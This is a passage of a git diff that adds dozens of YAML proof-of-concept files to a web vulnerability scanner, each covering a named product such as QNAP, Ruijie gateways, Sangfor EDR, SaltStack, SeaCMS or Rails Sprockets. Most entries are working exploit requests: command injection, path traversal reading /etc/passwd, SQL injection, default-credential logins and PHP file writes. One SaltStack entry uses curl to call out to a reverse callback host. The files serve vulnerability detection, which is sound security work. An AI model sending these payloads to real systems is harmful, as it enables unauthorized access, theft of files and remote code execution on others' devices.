/f/job.php?job=getzone&typeid=zone&fup=..\..\do\js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,md5({{rand}}),9,10,11,12,13,14,15,16,17,18,19%23 + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: Rexus + links: + - https://www.ld-fcw.com/ diff --git a/webscan/pocs/qilin-bastion-host-rce.yml b/webscan/pocs/qilin-bastion-host-rce.yml new file mode 100644 index 0000000..b9cecc6 --- /dev/null +++ b/webscan/pocs/qilin-bastion-host-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-qilin-bastion-host-rce +set: + r2: randomLowercase(10) +rules: + - method: GET + path: /get_luser_by_sshport.php?clientip=1;echo%20"">/opt/freesvr/web/htdocs/freesvr/audit/{{r2}}.php;&clientport=1 + follow_redirects: false + expression: response.status == 200 + + - method: GET + path: /{{r2}}.php + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(bytes(md5(r2))) + +detail: + author: For3stCo1d (https://github.com/For3stCo1d) + description: "iAudit-fortressaircraft-rce" + links: + - https://yun.scdsjzx.cn/system/notice/detail/399d2dd0-94aa-4914-a8f6-e71f8dc8ac87 diff --git a/webscan/pocs/qizhi-fortressaircraft-unauthorized.yml b/webscan/pocs/qizhi-fortressaircraft-unauthorized.yml new file mode 100644 index 0000000..734300a --- /dev/null +++ b/webscan/pocs/qizhi-fortressaircraft-unauthorized.yml @@ -0,0 +1,12 @@ +name: poc-yaml-qizhi-fortressaircraft-unauthorized +rules: + - method: GET + path: >- + /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm + expression: | + response.status == 200 && response.body.bcontains(b"错误的id") && response.body.bcontains(b"审计管理员") && response.body.bcontains(b"事件审计") + +detail: + author: we1x4n(https://we1x4n.com/) + links: + - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw diff --git a/webscan/pocs/qnap-cve-2019-7192.yml b/webscan/pocs/qnap-cve-2019-7192.yml new file mode 100644 index 0000000..efccb2f --- /dev/null +++ b/webscan/pocs/qnap-cve-2019-7192.yml @@ -0,0 +1,28 @@ +name: poc-yaml-qnap-cve-2019-7192 +rules: + - method: POST + path: /photo/p/api/album.php + headers: + Content-Type: application/x-www-form-urlencoded + body: a=setSlideshow&f=qsamplealbum + expression: | + response.status == 200 + search: >- + (?P.*?) + - method: GET + path: /photo/slideshow.php?album={{album_id}} + expression: | + response.status == 200 + search: >- + encodeURIComponent\(\'(?P.*?)\'\) + - method: POST + path: /photo/p/api/video.php + headers: + Content-Type: application/x-www-form-urlencoded + body: album={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=./../../../../../etc/passwd + expression: | + response.status == 200 && response.body.bcontains(b"admin:x:0:0") +detail: + author: Hzllaga + links: + - https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit diff --git a/webscan/pocs/rabbitmq-default-password.yml b/webscan/pocs/rabbitmq-default-password.yml new file mode 100644 index 0000000..dab3d36 --- /dev/null +++ b/webscan/pocs/rabbitmq-default-password.yml @@ -0,0 +1,16 @@ +name: poc-yaml-rabbitmq-default-password +rules: + - method: GET + path: /api/whoami + expression: | + response.status == 401 + - method: GET + path: /api/whoami + headers: + Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + expression: | + response.status == 200 && response.body.bcontains(b"\"name\":\"guest\"") +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - http://luckyzmj.cn/posts/15dff4d3.html \ No newline at end of file diff --git a/webscan/pocs/rails-cve-2018-3760-rce.yml b/webscan/pocs/rails-cve-2018-3760-rce.yml new file mode 100644 index 0000000..7b804f0 --- /dev/null +++ b/webscan/pocs/rails-cve-2018-3760-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-rails-cve-2018-3760-rce +rules: + - method: GET + path: '/assets/file:%2f%2f/etc/passwd' + follow_redirects: false + expression: | + response.status == 500 && response.body.bcontains(b"FileOutsidePaths") + search: '/etc/passwd is no longer under a load path: (?P.*?),' + - method: GET + path: >- + /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: leezp + Affected Version: "Sprockets<=3.7.1" + links: + - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760 diff --git a/webscan/pocs/razor-cve-2018-8770.yml b/webscan/pocs/razor-cve-2018-8770.yml new file mode 100644 index 0000000..0529db1 --- /dev/null +++ b/webscan/pocs/razor-cve-2018-8770.yml @@ -0,0 +1,12 @@ +name: poc-yaml-razor-cve-2018-8770 +rules: + - method: GET + path: /tests/generate.php + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"Fatal error: Class 'PHPUnit_Framework_TestCase' not found in ") && response.body.bcontains(b"/application/third_party/CIUnit/libraries/CIUnitTestCase.php on line") +detail: + author: we1x4n(https://we1x4n.github.io/) + links: + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770 + - https://www.exploit-db.com/exploits/44495/ diff --git a/webscan/pocs/rconfig-cve-2019-16663.yml b/webscan/pocs/rconfig-cve-2019-16663.yml new file mode 100644 index 0000000..cb4661d --- /dev/null +++ b/webscan/pocs/rconfig-cve-2019-16663.yml @@ -0,0 +1,15 @@ +name: poc-yaml-rconfig-cve-2019-16663 +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23 + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r + r1))) +detail: + author: 17bdw + links: + - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071 + - https://www.cnblogs.com/17bdw/p/11840588.html + - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ \ No newline at end of file diff --git a/webscan/pocs/resin-cnnvd-200705-315.yml b/webscan/pocs/resin-cnnvd-200705-315.yml new file mode 100644 index 0000000..3ef4a8f --- /dev/null +++ b/webscan/pocs/resin-cnnvd-200705-315.yml @@ -0,0 +1,12 @@ +name: poc-yaml-resin-cnnvd-200705-315 +rules: + - method: GET + path: /%20../web-inf/ + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"/ ../web-inf/") && response.body.bcontains(b"Directory of /") +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.secpulse.com/archives/39144.html + - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-315 \ No newline at end of file diff --git a/webscan/pocs/resin-inputfile-fileread-or-ssrf.yml b/webscan/pocs/resin-inputfile-fileread-or-ssrf.yml new file mode 100644 index 0000000..8dc3e4a --- /dev/null +++ b/webscan/pocs/resin-inputfile-fileread-or-ssrf.yml @@ -0,0 +1,11 @@ +name: poc-yaml-resin-inputfile-fileread-or-ssrf +rules: + - method: GET + path: /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes("<%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %>")) +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.secpulse.com/archives/496.html \ No newline at end of file diff --git a/webscan/pocs/resin-viewfile-fileread.yml b/webscan/pocs/resin-viewfile-fileread.yml new file mode 100644 index 0000000..ea53045 --- /dev/null +++ b/webscan/pocs/resin-viewfile-fileread.yml @@ -0,0 +1,12 @@ +name: poc-yaml-resin-viewfile-fileread +rules: + - method: GET + path: /resin-doc/viewfile/?file=index.jsp + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes("%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %")) +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2006-3205 + - http://0day5.com/archives/1173/ \ No newline at end of file diff --git a/webscan/pocs/rockmongo-default-password.yml b/webscan/pocs/rockmongo-default-password.yml new file mode 100644 index 0000000..bd7ee06 --- /dev/null +++ b/webscan/pocs/rockmongo-default-password.yml @@ -0,0 +1,12 @@ +name: poc-yaml-rockmongo-default-password +rules: + - method: POST + path: /index.php?action=login.index&host=0 + body: more=0&host=0&username=admin&password=admin&db=&lang=zh_cn&expire=3 + follow_redirects: false + expression: | + response.status == 302 && response.headers["Location"] == "/index.php?action=admin.index&host=0" +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://www.runoob.com/mongodb/working-with-rockmongo.html \ No newline at end of file diff --git a/webscan/pocs/ruijie-eg-cli-rce.yml b/webscan/pocs/ruijie-eg-cli-rce.yml new file mode 100644 index 0000000..af3e72a --- /dev/null +++ b/webscan/pocs/ruijie-eg-cli-rce.yml @@ -0,0 +1,35 @@ +name: poc-yaml-ruijie-eg-cli-rce +set: + r1: randomInt(8000, 10000) + r2: randomInt(8000, 10000) +rules: + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password=admin?show+webmaster+user + expression: | + response.status == 200 && response.content_type.contains("text/json") + search: | + {"data":".*admin\s?(?P[^\\"]*) + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password={{password}} + expression: | + response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") + - method: POST + path: "/cli.php?a=shell" + follow_redirects: false + body: | + notdelay=true&command=expr {{r1}} * {{r2}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) + +detail: + author: Jarcis + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md \ No newline at end of file diff --git a/webscan/pocs/ruijie-eg-file-read.yml b/webscan/pocs/ruijie-eg-file-read.yml new file mode 100644 index 0000000..5dd223d --- /dev/null +++ b/webscan/pocs/ruijie-eg-file-read.yml @@ -0,0 +1,32 @@ +name: poc-yaml-ruijie-eg-file-read +rules: + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password=admin?show+webmaster+user + expression: | + response.status == 200 && response.content_type.contains("text/json") + search: | + {"data":".*admin\s?(?P[^\\"]*) + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password={{password}} + expression: | + response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") + - method: POST + path: /download.php?a=read_txt + follow_redirects: false + body: | + file=/etc/passwd + expression: | + response.status == 200 && response.body.bcontains(b"\"status\":true,") && "root:[x*]?:0:0:".bmatches(response.body) +detail: + author: abbin777 + influence_version: "@2000-2015" + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md \ No newline at end of file diff --git a/webscan/pocs/ruijie-eg-info-leak.yml b/webscan/pocs/ruijie-eg-info-leak.yml new file mode 100644 index 0000000..d4f5439 --- /dev/null +++ b/webscan/pocs/ruijie-eg-info-leak.yml @@ -0,0 +1,25 @@ +name: poc-yaml-ruijie-eg-info-leak +rules: + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password=admin?show+webmaster+user + expression: | + response.status == 200 && response.content_type.contains("text/json") + search: | + {"data":".*admin\s?(?P[^\\"]*) + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password={{password}} + expression: | + response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") +detail: + author: Search?=Null + description: "Ruijie EG网关信息泄漏" + links: + - https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ diff --git a/webscan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml b/webscan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml new file mode 100644 index 0000000..82d22fb --- /dev/null +++ b/webscan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml @@ -0,0 +1,23 @@ +name: poc-yaml-ruijie-eweb-rce-cnvd-2021-09650 +set: + r1: randomLowercase(4) + r2: randomLowercase(4) + phpcode: > + "" + payload: base64(phpcode) +rules: + - method: POST + path: /guest_auth/guestIsUp.php + body: | + ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00 + expression: | + response.status == 200 + - method: GET + path: /guest_auth/{{r2}}.php + expression: | + response.status == 200 && response.body.bcontains(bytes(r1)) +detail: + author: White(https://github.com/WhiteHSBG) + links: + - https://xz.aliyun.com/t/9016?page=1 + - https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/ diff --git a/webscan/pocs/ruijie-nbr1300g-cli-password-leak.yml b/webscan/pocs/ruijie-nbr1300g-cli-password-leak.yml new file mode 100644 index 0000000..e3a3d68 --- /dev/null +++ b/webscan/pocs/ruijie-nbr1300g-cli-password-leak.yml @@ -0,0 +1,15 @@ +name: poc-yaml-ruijie-nbr1300g-cli-password-leak +rules: + - method: POST + path: /WEB_VMS/LEVEL15/ + follow_redirects: false + headers: + Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + body: | + command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant. + expression: | + response.status == 200 && response.body.bcontains(bytes("webmaster level 2 username guest password guest")) +detail: + author: abbin777 + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/ruijie-uac-cnvd-2021-14536.yml b/webscan/pocs/ruijie-uac-cnvd-2021-14536.yml new file mode 100644 index 0000000..e110558 --- /dev/null +++ b/webscan/pocs/ruijie-uac-cnvd-2021-14536.yml @@ -0,0 +1,11 @@ +name: poc-yaml-ruijie-uac-cnvd-2021-14536 +rules: + - method: GET + path: /login.php + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"RG-UAC登录页面") && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body) +detail: + author: jweny(https://github.com/jweny) + links: + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065 diff --git a/webscan/pocs/ruoyi-management-fileread.yml b/webscan/pocs/ruoyi-management-fileread.yml new file mode 100644 index 0000000..6debdd1 --- /dev/null +++ b/webscan/pocs/ruoyi-management-fileread.yml @@ -0,0 +1,16 @@ +name: poc-yaml-ruoyi-management-fileread +groups: + linux: + - method: GET + path: /common/download/resource?resource=/profile/../../../../etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows: + - method: GET + path: /common/download/resource?resource=/profile/../../../../Windows/win.ini + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20CNVD-2021-01931.md diff --git a/webscan/pocs/saltstack-cve-2020-16846.yml b/webscan/pocs/saltstack-cve-2020-16846.yml new file mode 100644 index 0000000..62b467b --- /dev/null +++ b/webscan/pocs/saltstack-cve-2020-16846.yml @@ -0,0 +1,17 @@ +name: poc-yaml-saltstack-cve-2020-16846 +set: + reverse: newReverse() + reverseURL: reverse.url + +rules: + - method: POST + path: /run + body: token=12312&client=ssh&tgt=*&fun=a&roster=aaa&ssh_priv=aaa|curl+{{reverseURL}}%3b + expression: | + reverse.wait(5) + +detail: + author: we1x4n(https://we1x4n.com/) + links: + - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag + - https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-16846/README.zh-cn.md diff --git a/webscan/pocs/saltstack-cve-2021-25282-file-write.yml b/webscan/pocs/saltstack-cve-2021-25282-file-write.yml new file mode 100644 index 0000000..a068f67 --- /dev/null +++ b/webscan/pocs/saltstack-cve-2021-25282-file-write.yml @@ -0,0 +1,22 @@ +name: poc-yaml-saltstack-cve-2021-25282-file-write +set: + r1: randomLowercase(5) +rules: + - method: GET + path: /run + follow_redirects: false + expression: | + response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"wheel_async") && response.body.bcontains(b"runner_async") + - method: POST + path: /run + headers: + Content-type: application/json + body: >- + {"eauth":"auto","client":"wheel_async","fun":"pillar_roots.write","data":"{{r1}}","path":"../../../../../../../../../tmp/{{r1}}"} + follow_redirects: false + expression: | + response.status == 200 && response.content_type.icontains("application/json") && "salt/wheel/d*".bmatches(response.body) +detail: + author: jweny(https://github.com/jweny) + links: + - https://www.anquanke.com/post/id/232748 diff --git a/webscan/pocs/samsung-wea453e-default-pwd.yml b/webscan/pocs/samsung-wea453e-default-pwd.yml new file mode 100644 index 0000000..8f2bfe4 --- /dev/null +++ b/webscan/pocs/samsung-wea453e-default-pwd.yml @@ -0,0 +1,13 @@ +name: poc-yaml-samsung-wea453e-default-pwd +rules: + - method: POST + path: /main.ehp + follow_redirects: false + body: | + httpd;General;lang=en&login_id=root&login_pw=sweap12~ + expression: | + response.status == 200 && response.body.bcontains(bytes("document.formParent2.changepasswd1.value")) && response.body.bcontains(bytes("passwd_change.ehp")) +detail: + author: sharecast + links: + - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ diff --git a/webscan/pocs/samsung-wea453e-rce.yml b/webscan/pocs/samsung-wea453e-rce.yml new file mode 100644 index 0000000..6c0f8af --- /dev/null +++ b/webscan/pocs/samsung-wea453e-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-samsung-wea453e-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(1140000, 1144800) +rules: + - method: POST + path: /(download)/tmp/1.txt + follow_redirects: false + body: | + command1=shell%3Aexpr {{r1}} - {{r2}}|dd of=/tmp/1.txt + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) +detail: + author: sharecast + links: + - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ diff --git a/webscan/pocs/samsung-wlan-ap-wea453e-rce.yml b/webscan/pocs/samsung-wlan-ap-wea453e-rce.yml new file mode 100644 index 0000000..a0b89f0 --- /dev/null +++ b/webscan/pocs/samsung-wlan-ap-wea453e-rce.yml @@ -0,0 +1,17 @@ +name: poc-yaml-samsung-wlan-ap-wea453e-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) + r3: randomLowercase(8) +rules: + - method: POST + path: /(download)/tmp/{{r3}}.txt + body: | + command1=shell:expr {{r1}} %2b {{r2}} | dd of=/tmp/{{r3}}.txt + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Print1n(http://print1n.top) + links: + - https://www.seebug.org/vuldb/ssvid-99075 + - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E4%B8%89%E6%98%9F/%E4%B8%89%E6%98%9F%20WLAN%20AP%20WEA453e%E8%B7%AF%E7%94%B1%E5%99%A8%20%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html?h=%E4%B8%89%E6%98%9F%20WLAN%20AP%20WEA453e%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E diff --git a/webscan/pocs/sangfor-ad-download.php-filedownload.yml b/webscan/pocs/sangfor-ad-download.php-filedownload.yml new file mode 100644 index 0000000..bdc320e --- /dev/null +++ b/webscan/pocs/sangfor-ad-download.php-filedownload.yml @@ -0,0 +1,13 @@ +name: poc-yaml-sangfor-ad-download.php-filedownload +rules: + - method: GET + path: /report/download.php?pdf=../../../../../etc/hosts + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b'localhost') && response.headers['Content-Disposition'].contains('hosts') + +detail: + author: PeiQi0 + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + tags: sangfor,file,download diff --git a/webscan/pocs/sangfor-ba-rce.yml b/webscan/pocs/sangfor-ba-rce.yml new file mode 100644 index 0000000..f437586 --- /dev/null +++ b/webscan/pocs/sangfor-ba-rce.yml @@ -0,0 +1,13 @@ +name: poc-yaml-sangfor-ba-rce +set: + r1: randomLowercase(8) +rules: + - method: GET + path: /tool/log/c.php?strip_slashes=md5&host={{r1}} + expression: | + response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(bytes(md5(r1))) + +detail: + author: Print1n(http://print1n.top) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E6%97%A5%E5%BF%97%E4%B8%AD%E5%BF%83%20c.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/sangfor-edr-arbitrary-admin-login.yml b/webscan/pocs/sangfor-edr-arbitrary-admin-login.yml new file mode 100644 index 0000000..43debed --- /dev/null +++ b/webscan/pocs/sangfor-edr-arbitrary-admin-login.yml @@ -0,0 +1,13 @@ +name: poc-yaml-sangfor-edr-arbitrary-admin-login +rules: + - method: GET + path: /ui/login.php?user=admin + follow_redirects: false + expression: > + response.status == 302 && + response.body.bcontains(b"/download/edr_installer_") && + response.headers["Set-Cookie"] != "" +detail: + author: hilson + links: + - https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA diff --git a/webscan/pocs/sangfor-edr-cssp-rce.yml b/webscan/pocs/sangfor-edr-cssp-rce.yml new file mode 100644 index 0000000..4dafccb --- /dev/null +++ b/webscan/pocs/sangfor-edr-cssp-rce.yml @@ -0,0 +1,15 @@ +name: poc-yaml-sangfor-edr-cssp-rce +rules: + - method: POST + path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + {"params":"w=123\"'1234123'\"|id"} + expression: > + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)") +detail: + author: x1n9Qi8 + Affected Version: "Sangfor EDR 3.2.17R1/3.2.21" + links: + - https://www.cnblogs.com/0day-li/p/13650452.html diff --git a/webscan/pocs/sangfor-edr-tool-rce.yml b/webscan/pocs/sangfor-edr-tool-rce.yml new file mode 100644 index 0000000..5a97ff7 --- /dev/null +++ b/webscan/pocs/sangfor-edr-tool-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-sangfor-edr-tool-rce +set: + r1: randomLowercase(8) + r2: randomLowercase(8) +rules: + - method: GET + path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}" + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2)) +detail: + author: cookie + links: + - https://edr.sangfor.com.cn/ diff --git a/webscan/pocs/satellian-cve-2020-7980-rce.yml b/webscan/pocs/satellian-cve-2020-7980-rce.yml new file mode 100644 index 0000000..0394464 --- /dev/null +++ b/webscan/pocs/satellian-cve-2020-7980-rce.yml @@ -0,0 +1,20 @@ +name: poc-yaml-satellian-cve-2020-7980-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: >- + /cgi-bin/libagent.cgi?type=J + headers: + Cookie: ctr_t=0; sid=123456789 + Content-Type: application/json + body: >- + {"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "expr {{r1}} + {{r2}}", "F": "EXEC_CMD"}, "V_": 1} + follow_redirects: true + expression: response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: JingLing(https://hackfun.org/) + Affected version: Intellian Aptus Web <= 1.24 + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-7980 diff --git a/webscan/pocs/seacms-before-v992-rce.yml b/webscan/pocs/seacms-before-v992-rce.yml new file mode 100644 index 0000000..0a708f7 --- /dev/null +++ b/webscan/pocs/seacms-before-v992-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-seacms-before-v992-rce +set: + r1: randomLowercase(8) +rules: + - method: GET + path: "/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_])%3B%3F%3E" + expression: | + response.status == 200 + - method: GET + path: "/data/mysqli_error_trace.php?_=printf(md5(\"{{r1}}\"))%3B" + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r1))) +detail: + author: bufsnake(https://github.com/bufsnake) + links: + - https://www.zhihuifly.com/t/topic/3118 diff --git a/webscan/pocs/seacms-rce.yml b/webscan/pocs/seacms-rce.yml new file mode 100644 index 0000000..683f8c9 --- /dev/null +++ b/webscan/pocs/seacms-rce.yml @@ -0,0 +1,18 @@ +name: poc-yaml-seacms-rce +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/search.php?print({{r}}%2b{{r1}})" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/* + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r + r1))) +detail: + author: neverendxxxxxx(https://github.com/neverendxxxxxx),violin + seacms: v6.55 + links: + - https://www.jianshu.com/p/8d878330a42f diff --git a/webscan/pocs/seacms-sqli.yml b/webscan/pocs/seacms-sqli.yml new file mode 100644 index 0000000..a9430fd --- /dev/null +++ b/webscan/pocs/seacms-sqli.yml @@ -0,0 +1,11 @@ +name: poc-yaml-seacms-sqli +rules: + - method: GET + path: /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(202072102)))),@`%27` + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec99") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://www.uedbox.com/post/54561/ diff --git a/webscan/pocs/seacms-v654-rce.yml b/webscan/pocs/seacms-v654-rce.yml new file mode 100644 index 0000000..d21ff11 --- /dev/null +++ b/webscan/pocs/seacms-v654-rce.yml @@ -0,0 +1,15 @@ +name: poc-yaml-seacms-v654-rce +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /search.php + body: >- + searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=prin&9[]=tf(md5({{rand}})); + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + links: + - http://0day5.com/archives/4249/ + - https://phyb0x.github.io/2018/10/09/seacms%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90/ \ No newline at end of file diff --git a/webscan/pocs/seacmsv645-command-exec.yml b/webscan/pocs/seacmsv645-command-exec.yml new 